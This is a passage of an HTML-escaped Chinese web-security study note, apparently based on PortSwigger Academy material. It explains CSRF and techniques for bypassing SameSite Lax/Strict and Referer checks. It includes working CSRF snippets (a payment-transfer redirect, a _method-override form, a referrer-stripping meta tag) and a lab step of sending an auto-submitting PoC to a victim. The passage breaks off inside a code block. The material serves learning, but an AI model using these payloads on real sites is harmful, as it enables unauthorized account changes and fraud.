&lt;p&gt;除Chrome浏览器外，其他主流浏览器在设置Cookie时若未显式指定SameSite属性，&lt;strong&gt;默认行为等同于SameSite=None&lt;/strong&gt;（但目前Chrome已默认采用Lax模式，该差异需开发者重点关注）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;存在合理的场景需要禁用SameSite限制，例如：Cookie本身用于第三方上下文（如跨站嵌入的功能、第三方统计），且不授予持有者访问任何敏感数据或功能的权限。典型示例为&lt;strong&gt;跟踪Cookie&lt;/strong&gt;（用于用户行为分析、广告投放等场景）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Secure&lt;/code&gt;属性强制要求&lt;/strong&gt;：现代浏览器（如Chrome 80+、Firefox 79+）规定，设置&lt;code&gt;SameSite=None&lt;/code&gt;的Cookie必须同时添加&lt;code&gt;Secure&lt;/code&gt;属性（仅在HTTPS请求中携带），否则Cookie会被浏览器拒绝。示例：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;Set-Cookie: tracking-id=abc123; SameSite=None; Secure
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;攻击手段&#34;&gt;攻击手段
&lt;/h3&gt;&lt;h4 id=&#34;csrf&#34;&gt;CSRF
&lt;/h4&gt;&lt;p&gt;看 Lab&lt;/p&gt;
&lt;h4 id=&#34;samesite&#34;&gt;Samesite
&lt;/h4&gt;&lt;h5 id=&#34;get-绕过-lax&#34;&gt;get 绕过 Lax
&lt;/h5&gt;&lt;p&gt;利用 get 请求&lt;/p&gt;
&lt;p&gt;实际场景中，服务器并非总会严格校验特定接口接收的是GET还是POST请求——即便是预期接收表单提交的接口也不例外。如果服务器为会话Cookie设置了Lax限制（无论是显式配置，还是因浏览器默认策略生效），攻击者仍可诱导受害者浏览器发起GET请求，实施CSRF攻击。&lt;/p&gt;
&lt;p&gt;只要该请求触发了&lt;strong&gt;顶层导航&lt;/strong&gt;，浏览器就会携带受害者的会话Cookie。以下是发起此类攻击最简单的方法之一：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;location&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amp;amp;amount=1000000&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;document.location&lt;/code&gt;会触发浏览器地址栏的页面跳转（顶层导航），符合SameSite Lax允许携带Cookie的条件，这是绕过的核心前提&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;即便普通GET请求被服务器拒绝，部分&lt;strong&gt;框架&lt;/strong&gt;也提供了覆盖请求行中指定方法的手段。例如，Symfony框架支持在表单中使用&lt;code&gt;_method&lt;/code&gt;参数，该参数会优先于常规请求方法，作为路由匹配的依据：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;https://vulnerable-website.com/account/transfer-payment&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;_method&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;recipient&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hacker&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;hidden&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;amount&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;1000000&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;其他框架也提供了各类类似的参数，可实现相同的请求方法覆盖效果。&lt;/p&gt;
&lt;h5 id=&#34;重定向绕过-strict&#34;&gt;重定向绕过 Strict
&lt;/h5&gt;&lt;p&gt;如果 Cookie 设置了 &lt;code&gt;SameSite=Strict&lt;/code&gt; 属性，浏览器将不会在任何&lt;strong&gt;跨站请求（cross-site requests）&lt;/strong&gt; 中携带该 Cookie。但如果你能找到一个&lt;strong&gt;攻击载体（gadget）&lt;/strong&gt;，使其触发同站点内的&lt;strong&gt;二次请求（secondary request）&lt;/strong&gt;，则可能绕过这一限制。&lt;/p&gt;
&lt;p&gt;一种可行的攻击载体是&lt;strong&gt;客户端重定向（client-side redirect）&lt;/strong&gt; —— 它利用攻击者可控的输入（如 URL 参数）动态构造重定向目标。相关示例可参考我们关于&lt;strong&gt;基于 DOM 的开放重定向（DOM-based open redirection）&lt;/strong&gt; 的资料。&lt;/p&gt;
&lt;p&gt;在浏览器看来，这类客户端重定向并非真正意义上的 “重定向”：最终发起的请求会被视为&lt;strong&gt;普通的独立请求（ordinary, standalone request）&lt;/strong&gt;。关键在于，该请求属于&lt;strong&gt;同站点请求（same-site request）&lt;/strong&gt;，因此会携带与该站点相关的所有 Cookie，不受任何 &lt;code&gt;SameSite&lt;/code&gt; 限制的影响。&lt;/p&gt;
&lt;p&gt;若你能操控此攻击载体触发恶意的二次请求，即可&lt;strong&gt;完全绕过（bypass completely）&lt;/strong&gt; 所有 &lt;code&gt;SameSite&lt;/code&gt; Cookie 限制。&lt;/p&gt;
&lt;p&gt;需注意：&lt;strong&gt;服务器端重定向（server-side redirects）&lt;/strong&gt; 无法实现此类攻击。因为在这种情况下，浏览器会识别出 “跟随重定向的请求” 最初源自跨站请求，因此仍会执行相应的 Cookie 限制策略。&lt;/p&gt;
&lt;h5 id=&#34;新颁发-cookie-绕过-strict&#34;&gt;新颁发 Cookie 绕过 Strict
&lt;/h5&gt;&lt;p&gt;设置了SameSite Lax限制的Cookie，通常不会在任何跨站POST请求中被发送，但存在一些例外情况。&lt;/p&gt;
&lt;p&gt;如前所述，若网站在设置Cookie时未添加SameSite属性，Chrome浏览器会默认自动应用Lax限制。不过，为避免破坏单点登录（SSO）机制，Chrome在&lt;strong&gt;顶级POST请求&lt;/strong&gt;的前120秒内，并不会实际强制执行该限制。这就导致出现了一个两分钟的窗口期，在此期间用户可能会遭受跨站攻击。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]&lt;/p&gt;
&lt;p&gt;这个两分钟的窗口期&lt;strong&gt;不适用于&lt;/strong&gt;那些被显式设置了&lt;code&gt;SameSite=Lax&lt;/code&gt;属性的Cookie。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;试图精准把控攻击时机，使其落在这个短暂的窗口期内，在实操中多少有些&lt;strong&gt;不切实际&lt;/strong&gt;。但另一方面，如果你能在目标站点找到一个攻击载体，迫使受害者的浏览器被&lt;strong&gt;颁发一个新的会话Cookie&lt;/strong&gt;，就可以在发起主攻击前，抢先刷新受害者的Cookie。例如，完成一次基于OAuth的登录流程时，每次都可能生成新的会话——因为OAuth服务并不一定会知晓用户是否仍在目标站点保持登录状态。&lt;/p&gt;
&lt;p&gt;若想让受害者无需手动重新登录就能触发Cookie刷新，你需要借助&lt;strong&gt;顶级导航&lt;/strong&gt;，这能确保与用户当前OAuth会话相关的&lt;strong&gt;Cookie被携带&lt;/strong&gt;。但这又带来了一个额外的挑战：你需要将用户重定向回你的站点，才能发起跨站请求伪造（CSRF）攻击。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;顶级导航：指直接在浏览器地址栏发起、或通过顶级导航（如页面跳转）触发的POST请求，区别于嵌套在iframe中的跨站POST请求，Chrome对其有120秒的Lax限制豁免期&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此外，你也可以在&lt;strong&gt;新标签页中&lt;/strong&gt;触发Cookie刷新，这样浏览器就不会在你发起最终攻击前离开当前页面。这种方法存在一个小问题：浏览器会阻止弹窗标签页，除非它们是通过用户的手动交互打开的。例如，以下弹窗代码默认会被浏览器拦截：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;https://vulnerable-website.com/login/sso&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;要绕过这一限制，你可以将该语句封装在点击事件处理器中，代码如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;onclick&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;https://vulnerable-website.com/login/sso&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;通过这种方式，只有当用户在页面的某个位置点击时，&lt;code&gt;window.open()&lt;/code&gt;方法才会被调用。&lt;/p&gt;
&lt;h4 id=&#34;绕过-referer&#34;&gt;绕过 Referer
&lt;/h4&gt;&lt;p&gt;除了采用 CSRF 令牌（CSRF tokens）的防御方式外，部分应用还会利用 &lt;strong&gt;HTTP Referer 头（HTTP Referer header）&lt;/strong&gt; 抵御 CSRF 攻击 —— 其核心逻辑通常是验证请求是否源自应用自身的域名。但这种防御方式的有效性普遍较低，且常常存在可被绕过的漏洞。&lt;/p&gt;
&lt;h5 id=&#34;&#34;&gt;
&lt;/h5&gt;&lt;p&gt;HTTP Referer 头（HTTP 规范中存在拼写疏漏，正确英文应为 “Referrer”）是一个&lt;strong&gt;可选请求头&lt;/strong&gt;，其内容为 “链接到当前请求资源的网页 URL”。当用户触发 HTTP 请求时（例如点击链接、提交表单），浏览器通常会自动添加该请求头。&lt;/p&gt;
&lt;p&gt;目前存在多种方法可让 “发起请求的源页面”&lt;strong&gt;隐藏或修改 Referer 头的值&lt;/strong&gt;，这类操作通常是出于隐私保护的目的（例如防止目标站点获取用户的访问来源）。&lt;/p&gt;
&lt;h4 id=&#34;&#34;&gt;
&lt;/h4&gt;&lt;h5 id=&#34;空白绕过&#34;&gt;空白绕过
&lt;/h5&gt;&lt;p&gt;部分应用程序的处理逻辑是：&lt;strong&gt;当请求中携带Referer头时，才会对其进行校验；若该请求头被省略，则直接跳过校验&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在这种情况下，攻击者可以构造特殊的CSRF利用页面，使受害者的浏览器在发送请求时&lt;strong&gt;丢弃Referer头&lt;/strong&gt;。实现该效果的方法有多种，其中最简便的是在承载CSRF攻击的HTML页面中，添加一个META标签：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;meta&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;referrer&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;never&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h5 id=&#34;弱检测&#34;&gt;弱检测
&lt;/h5&gt;&lt;p&gt;部分应用程序对 Referer 头的校验方式十分简陋，这种校验机制很容易被绕过。例如，若应用仅校验 Referer 中的域名&lt;strong&gt;是否以预期值开头&lt;/strong&gt;，攻击者便可将目标域名设置为自身域名的子域名：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;http://vulnerable-website.com.attacker-website.com/csrf-attack
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;同理，若应用只是简单校验 Referer&lt;strong&gt;是否包含自身域名&lt;/strong&gt;，攻击者只需将目标域名嵌入 URL 的其他位置即可，比如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;http://attacker-website.com/csrf-attack?vulnerable-website.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;尽管你可以通过 Burp 工具发现应用的这种校验行为，但在浏览器中测试对应的概念验证（PoC）代码时，往往会发现这种方法失效。为了降低敏感数据通过 Referer 头泄露的风险，如今许多浏览器&lt;strong&gt;默认会从 Referer 头中剥离查询字符串&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;你可以通过以下方式覆盖这一浏览器行为：确保承载攻击利用代码的响应中，设置了&lt;code&gt;Referrer-Policy: unsafe-url&lt;/code&gt;响应头（需注意：此处的&lt;code&gt;Referrer&lt;/code&gt;拼写是正确的 —— 这一细节正是为了检验你是否在认真关注！）。该设置能保证浏览器发送&lt;strong&gt;完整的 URL&lt;/strong&gt;，其中包含查询字符串部分。&lt;/p&gt;
&lt;h2 id=&#34;labs&#34;&gt;Labs
&lt;/h2&gt;&lt;h3 id=&#34;无-waf&#34;&gt;无 waf
&lt;/h3&gt;&lt;p&gt;1.攻击点：抓到更改邮箱的包&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;POST&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;/my-account/change-email&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Host&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;0adb00ec04977937805ab22d00ce00dd.web-security-academy.net&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Cookie&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;session=zO38aClXpZPBEVpQ5KWLRyKX8dfvZ8ZR&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;......&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;g&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;g&#34;&gt;email=111%40qq.com
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;2.攻击：生成 poc 以后，记得勾选自动提交，copy 下 html 以后发送给受害者就可以了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://raw.githubusercontent.com/calendar0917/images/master/image-20251122181211396.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20251122181211396&#34;
	
	
&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
